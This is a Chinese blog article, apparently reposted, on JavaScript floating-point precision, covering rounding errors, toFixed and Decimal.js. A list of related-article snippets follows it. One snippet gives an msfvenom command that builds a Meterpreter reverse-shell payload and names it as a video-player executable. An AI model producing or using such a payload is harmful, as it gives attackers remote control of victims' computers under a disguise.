浮点数不再神秘:JS浮点数精度详解

news2024/12/29 11:31:35

在这里插入图片描述

文章目录

  • I. 引言
    • JS中什么是浮点数
    • 为什么精度会受到影响
  • II. 浮点数精度的问题
    • 浮点数精度丢失的例子
    • JS中最常见的浮点数问题
    • 精度问题对计算的影响
  • III. 如何避免浮点数精度问题
    • 使用精度库
    • 避免精度错误的方法
    • 显示控制精度的方法
  • IV. 浮点数精度问题与前端开发
    • 前端开发中的浮点数问题及解决方案
      • 示例1:小数计算
      • 示例2:比较运算
    • 工具、库及框架的使用

I. 引言

JS中什么是浮点数

JavaScript中,浮点数指的是一种存储数字的数据类型

浮点数用于存储带小数点的数字,包括整数和小数。浮点数在内存中以二进制形式存储,采用的是IEEE 754浮点标准,可表示的数字范围为(-253)至(253)。

由于计算机无法精确地表示某些小数,当进行复杂或连续运算时可能会出现精度丢失的现象。

为什么精度会受到影响

在计算机中,浮点数存储在固定的内存位数中位数越多,存储的数字就越精确

然而,在JS中,数字被存储为双精度浮点数,即使用64位表示一个数

由于浮点数使用二进制来表示数字,但某些小数无法准确表示为二进制有限小数的形式,因此出现了舍入误差和截断误差等问题导致精度丢失。

此外,由于JS内部采用二进制浮点数表示,而人们日常生活中使用的十进制数与二进制数之间不能完全对应,因此在进行JS中的数字计算时也容易导致精度问题。

II. 浮点数精度的问题

浮点数精度丢失的例子

浮点数精度丢失的一个经典例子就是在JS中计算0.1 + 0.2的结果。理论上来说,这个计算的结果应该是0.3,但是JS却返回了0.30000000000000004。这是因为0.1和0.2无法以二进制准确表示,所以在运算过程中可能会存在舍入误差和截断误差等问题,导致精度丢失。类似的情况也可能会发生在其他运算中,例如加减乘除等操作。下面是一个具体的例子:

console.log(0.1 + 0.2); // 0.30000000000000004
console.log(0.1 + 0.2 === 0.3); // false

在这个例子中,当我们尝试比较0.1 + 0.2的结果和0.3时,会发现它们并不相等,这是因为它们的精度存在不匹配问题。这也突显了在JS编程中考虑精度问题的重要性。

JS中最常见的浮点数问题

在JS中,最常见的浮点数问题是精度丢失和舍入误差。

由于JS采用的是64位双精度浮点数来存储数字,而某些小数又无法准确表示为二进制有限小数的形式,因此在涉及到小数计算时,就可能会出现精度丢失的问题。

例如:0.1 + 0.2 的结果实际上是一个比预期多一点点的数值 “0.30000000000000004”。另外,由于数字的位数过大或过小也可能会导致精度问题,并且当数字的小数位数过多时,浮点数的表示精度就会下降,从而导致舍入误差问题的出现。

以下是JS中常见的浮点数问题:

1. 0.1 + 0.2 !== 0.3
2. 0.1 + 0.7 !== 0.8
3. 0.1 + 0.1 + 0.1 !== 0.3
4. 0.3 / 0.1 !== 3
5. 0.1 * 0.2 !== 0.02

解决这些问题的方法包括:

  1. 使用toFixed(n)方法解决舍入误差
  2. 使用Math.round()或其他数学库对小数位数进行控制
  3. 使用适当的精度库,例如Big.js、Decimal.js等,来处理数字计算

精度问题对计算的影响

精度问题对计算的影响是导致计算结果错误。

当涉及到小数计算时,由于计算机的存储精度有限,因此可能会出现精度丢失问题。

例如,在JS中执行0.1 + 0.2的计算结果得到0.30000000000000004,而不是预期的0.3。这意味着在计算中使用可能会导致错误的结果,这可能会在某些情况下导致严重后果。

这种行为并不是JS独有的,其他编程语言也有可能会发生类似的问题。
因此,开发人员应该意识到这种情况的存在,并采取适当的措施来避免精度错误。
例如,可以使用适当的数学库来处理数字运算,使之符合预期的结果。

此外,在涉及到比较、排序等需要精确结果的情况下,也要使用适当的比较函数或独立的比较器来保证精度。如果需求不高,可以在计算结果中使用toFixed()函数以限制小数的位数。

III. 如何避免浮点数精度问题

使用精度库

使用精度库可以解决JS中出现的精度问题。以下是使用Decimal.js解决精度问题的简单示例。

首先,安装Decimal.js库:

npm install decimal.js

然后在JS代码中使用Decimal.js来处理数字。例如:

const Decimal = require('decimal.js');

// 加法
const x = new Decimal('0.1');
const y = new Decimal('0.2');
const result = x.plus(y);

console.log(result.toString()); // "0.3"

// 乘法
const a = new Decimal('0.1');
const b = new Decimal('0.2');
const result2 = a.times(b);

console.log(result2.toString()); // "0.02"

在上面的示例中,我们使用了Decimal.js库来执行加法和乘法运算。这里必须用字符串格式的数字来构造Decimal对象,否则就会出现精度丢失。在例子中,我们得到了正确的加法和乘法结果。

使用Decimal.js等精度库能够简化开发人员的代码,避免不必要的错误,并确保数学运算的准确性。但是,需要注意的是,使用这些库可能会稍微降低计算速度,因此需要权衡好准确性与性能,并根据实际情况进行选择。

避免精度错误的方法

为了避免JS中的精度错误,可以采用以下方法:

  1. 推荐使用整数进行计算。将小数转换为整数后进行计算,避免小数运算。
  2. 使用适当的数学库来处理数字计算,例如Decimal.js、Big.js等。
  3. 避免使用NaN造成的计算错误,比如当分母为0时,除法可能返回NaN。
  4. 不参与大量的加减乘除运算,或是对陷入运算的值保持精度控制。
  5. 避免使用过于庞大的数字,避免在过大或过小的结果上产生舍入误差。
  6. 适当的四舍五入处理:toFixed()函数,Math.round()等。
  7. 对于浮点数比较的情形,由于浮点数的精度问题,不能使用"==="或"!=="进行判断,需要使用适当的比较函数或独立的比较器来进行比较。

总之,在JS编程中,应该时刻注意精度问题,采取适当的方法来避免这种问题的出现。如果误差不大,并且对结果并没有造成大的影响,可以使用四舍五入或其他方法进行修正。但在其他情况下,应该尽量避免舍入误差和精度问题。

显示控制精度的方法

在JS中,可以使用toFixed()函数,来控制小数输出的精度。

toFixed()函数可以将一个数字四舍五入为指定小数位数的字符串。

语法如下:

number.toFixed(digits)

其中,number是要四舍五入的数字,digits是数字的小数位数,可以是0-20之间的整数。

以下是使用toFixed()函数来显示不同小数位数的示例:

const x = 123.456789;

console.log(x.toFixed(0)); // 输出 "123"
console.log(x.toFixed(2)); // 输出 "123.46"
console.log(x.toFixed(4)); // 输出 "123.4568"

在上面的示例中,我们使用toFixed()函数来显示不同位数的小数点后几位。需要注意的是,toFixed()函数返回的是一个字符串,不是一个数字。

此外,还可以使用精度库,如Decimal.js等,来进行数学计算并控制输出精度。例如,使用Decimal.js库来保留小数点后两位的示例:

const Decimal = require('decimal.js');

const x = new Decimal('123.456789');
const result = x.toFixed(2); // 保留小数点后两位

console.log(result.toString()); // 输出 "123.46"

在使用精度库时,也能较好的控制结果的输出精度。

IV. 浮点数精度问题与前端开发

前端开发中的浮点数问题及解决方案

在前端开发中,浮点数问题通常出现在小数计算和比较运算中。由于计算机采用二进制存储浮点数,而2的负整数阶次的十进制小数无法被准确表示,因此会出现精度丢失和四舍五入误差等问题。

以下是浮点数问题的几个示例:

示例1:小数计算

console.log(0.1 + 0.2); // 输出 0.30000000000000004

示例2:比较运算

console.log(0.1 + 0.2 === 0.3); // 输出 false

针对这些问题,可以采取以下几个解决方案:

  1. 使用整数进行计算。将小数转换为整数后进行计算,避免小数运算。
  2. 使用适当的数学库来处理数字计算,例如Decimal.js、Big.js等。
  3. 避免使用NaN造成的计算错误,比如当分母为0时,除法可能返回NaN。
  4. 不参与大量的加减乘除运算,或是对陷入运算的值保持精度控制。
  5. 避免使用过于庞大的数字,避免在过大或过小的结果上产生舍入误差。
  6. 适当的四舍五入处理:toFixed()函数,Math.round()等。
  7. 对于浮点数比较的情形,由于浮点数的精度问题,不能使用"=“或”!"进行判断,需要使用适当的比较函数或独立的比较器来进行比较。

总之,前端开发人员需要时刻注意浮点数问题,并采取适当的解决方案来保证数学计算的准确和程序运行的稳定。

工具、库及框架的使用

在前端开发中,有很多工具、库和框架可以帮助开发人员提高开发效率和代码质量。

这里介绍几种常见的工具、库和框架及其使用:

  1. 开发工具

    开发工具包括编辑器、IDE等。在前端开发中比较常见的开发工具有Visual Studio Code、Sublime Text、WebStorm等。这些工具不仅提供了优秀的代码编辑功能,还有许多插件可供选择,可以大大的提高前端开发效率。

  2. 在前端开发过程中,使用一些常用的库可以大大提高开发效率,因为它们通常封装了一些常用的函数和方法,可以避免开发人员重复造轮子。比如jQuery库提供了方便的DOM操作和AJAX请求等功能, Axios库提供了更方便的网络请求发送求。在选择库时,一方面要考虑其功能是否符合要求,另一方面也要考虑其体积大小是否合理。

  3. 框架

    框架是一个更高级别的工具,可以帮助开发人员相对容易地构建复杂的web应用程序。常见的前端框架包括React、Vue、Angular等。这些框架提供了许多重要的功能,例如路由管理、状态管理、组件生命周期管理,以及许多其他的可扩展功能,它们都可以极大地提高开发效率和代码质量。

总之,使用工具、库和框架可以在前端开发过程中帮助我们提高生产力、降低错误率和提高应用质量。根据具体的开发需求和团队实际情况,选择适当的工具、库或框架是很重要的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/693206.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

在k8s上部署vue

1. dockerfile镜像文件编写 # 拉取 nginx镜像 FROM nginx:1.24.0# 拷贝 nginx 配置文件到 docker中 COPY nginx.conf /etc/nginx/nginx.conf# 拷贝vue打包后的文件到 docker中 COPY webapp /usr/share/nginx/html# 新增时区设置 RUN ln -sf /usr/share/zoneinfo/Asia/Shanghai…

【FreeRTOS】FreeRTOS 静态创建任务与删除

0. 实验准备 正点原子 STM32407ZG 探索者开发板 FreeRTOS 例程模板(可以在这一篇文章找到:STM32F407 移植 FreeRTOS) 1. 静态创建任务函数 API 1.1 函数简介 动态创建任务需要使用到BaseType_t xTaskCreate函数,我们可以在 Fr…

VUE L ∠脚手架 插曹Vuex ⑩⑨

目录 文章有误请指正,如果觉得对你有用,请点三连一波,蟹蟹支持✨ V u e j s Vuejs Vuejs C L I CLI CLI 插槽 ❗ C L I CLI CLI V u e X VueX VueX 1、概念 2、何时使用? 3、搭建 V u e x Vuex Vuex环境 4、基本使用…

基于Scrcpy的Android手机屏幕投影到电脑教程

基于Scrcpy的Android手机屏幕投影到电脑教程 文章目录 基于Scrcpy的Android手机屏幕投影到电脑教程一,前言二,具体步骤1.软件下载2.环境配置 三,基于Scrcpy的手机投屏教程1.基于Scrcpy的有线手机投屏2.无线投屏 一,前言 在执行某…

Spring学习(一)(IoC和DI)

1.Spring是什么??? 天天都能听到Spring,Spring,Spring。这东西到底是什么东西,是一个框架。没错通常所说的 Spring 指的是 Spring Framework(Spring 框架),它是⼀个开源…

当RPA遇到ChatGPT, 有哪些好玩的玩法

实在RPA于2023年4月7日发布了 6.7.0 SP3,其中最引人注目的亮点是与ChatGPT的紧密集成 。这种集成为用户提供了全新的玩法和体验,使他们能够与智能模型进行即时对话和交互,从而提高工作效率和创造力。用户可以将ChatGPT作为虚拟助手&#xff0…

opencv C++ 识别照片中的人脸

//识别照片中的人脸 1 #include <opencv2/core/core.hpp> #include <opencv2/imgproc/imgproc.hpp> #include <opencv2/opencv.hpp> #include <vector>

机试复习*

通过一些例子重拾一些记不清了的c、c知识。 首先是位运算&#xff1a; 然后是一些其他语法、输入输出&#xff1a; //N诺一天重拾C语言 WebSite: https://noobdream.com//Major/majorinfo/1///目录://1&#xff1a;枚举类型switch语句//2&#xff1a;枚举类型//3&#xff1a;…

Unity的小工具

最近项目工期紧&#xff0c;所以更新少了&#xff0c;不过我遇到一些问题&#xff0c;当我的UI/序列帧过多的时候&#xff0c;我需要去选中UI转换成Sprite&#xff0c;而且用shift选中的时候&#xff0c;文件夹中上百个文件&#xff0c;中间混进一个其他格式的文件我还得一个一…

使用msfvenom获取windows shell

Windows 1. kali 使用 msfvenom 生成程序文件 使用一个编码器msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.133.66 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音1.exe其中,-a 指…

AI创作与游戏开发(二)工具方法概述

大家好,Generative AI Model的出现,给游戏开发带来一些新的变革.比如像stable dissfusion可以快速的生成图像,设计人物的原型,背景设定.像DreamFusion和这个Magic3D这种模型,它可以通过文本快速的建模3D对象.还有像chatgpt这种可以编写故事啊可以做模拟人物对话.AItts可以进行语…

【面试题23】MyISAM和InnoDB的区别

文章目录 一、前言二、MyISAM和InnoDB的区别2.1 存储结构和存储方式2.2 索引数据结构2.3 主键索引和非主键索引2.4 索引上存放的数据 三、MyISAM和InnoDB如何进行选择3.1 电子商务网站&#xff1a;3.2 博客类网站3.3 数据仓库 总结 一、前言 本文已收录于PHP全栈系列专栏&#…

Springboot 整合Camunda7

文章目录 前言一、原项目引入camunda二、直接搭建新demo 前言 camunda7文档 与springboot版本兼容组合 一、原项目引入camunda 导入maven依赖 <dependency><groupId>org.camunda.bpm.springboot</groupId><artifactId>camunda-bpm-spring-boot-sta…

【全志v3s】LicheePi-zero BSP移植开发流程

文章目录 基于全志v3s的Lichee-zero BSP移植开发流程ubuntu 系统安装下载镜像换源备份源列表修改 sources.list 文件更改为清华镜像源更新并升级安装依赖库 安装交叉编译工具链安装编译器新建 tool 文件夹并进入下载交叉编译链创建文件夹并解压配置环境变量安装其他库验证是否安…

【C++】定制删除器和特殊类设计(饿汉和懒汉~)

文章目录 定制删除器一、设计一个只能在堆上(或栈上)创建的类二、单例模式 1.饿汉模式2.懒汉模式总结 定制删除器 我们在上一篇文章中讲到了智能指针&#xff0c;相信大家都会有一个问题&#xff0c;智能指针该如何辨别我们的资源是用new int开辟的还是new int[]开辟的呢&…

通用分页【上】

一、什么是通用分页&#xff1f; 通用分页是一种常用的分页方式&#xff0c;也被称为“前端分页”。它是指在获取数据的时候&#xff0c;将大量的数据分成若干页以便于用户查看和操作。通用分页通常是在前端完成的&#xff0c;也就是在用户界面上进行处理。通用分页的优点是可…

[Flask] 初识Flask

Flask是一个使用Python编写的轻量级Web应用框架 为了更好地管理Python应用&#xff0c;通常情况下都会在虚拟环境中安装Flask框架。在虚拟环境下&#xff0c;使用如下命令安装Flask pip install flask 我们可以直接使用pycharm工具创建虚拟环境&#xff0c;只需要在创建项目的…

chatGPT AI对话聊天绘画系统开发:打开人工智能AI社交聊天系统开发新时代

人工智能技术的快速发展和普及&#xff0c;催生了众多创新应用&#xff0c;其中&#xff0c;AI社交聊天系统成为当下市场的热门话题&#xff0c;本文将详细介绍开发属于自己的ChatGPT的过程&#xff0c;并探讨当下市场因Chat AI聊天系统所带来的影响性。 AI社交聊天系统的潜力与…

Springboot Mybatis 自定义顺序排序查询,指定某个字段

前言 与本文无关 "我进去了" ....... 正文 今天要讲些什么&#xff1f; 其实很简单&#xff0c;就是查询数据的时候&#xff0c;想根据自己指定的字段的自定义顺序&#xff0c;做排序查询数据。 本篇文章会讲到的几个点 &#xff1a; 1. 单纯sql 怎么实现 排序2. …

miniconda 安装 windows+linux

虽然常用anaconda&#xff0c;但是有时候只需要管理环境的时候&#xff0c;用miniconda更方便 如果想安装anaconda&#xff0c;可以参考这篇&#xff1a;anaconda安装 一、linux下 1.下载 链接&#xff1a;miniconda文档 cd /usr/localwget https://repo.anaconda.com/mini…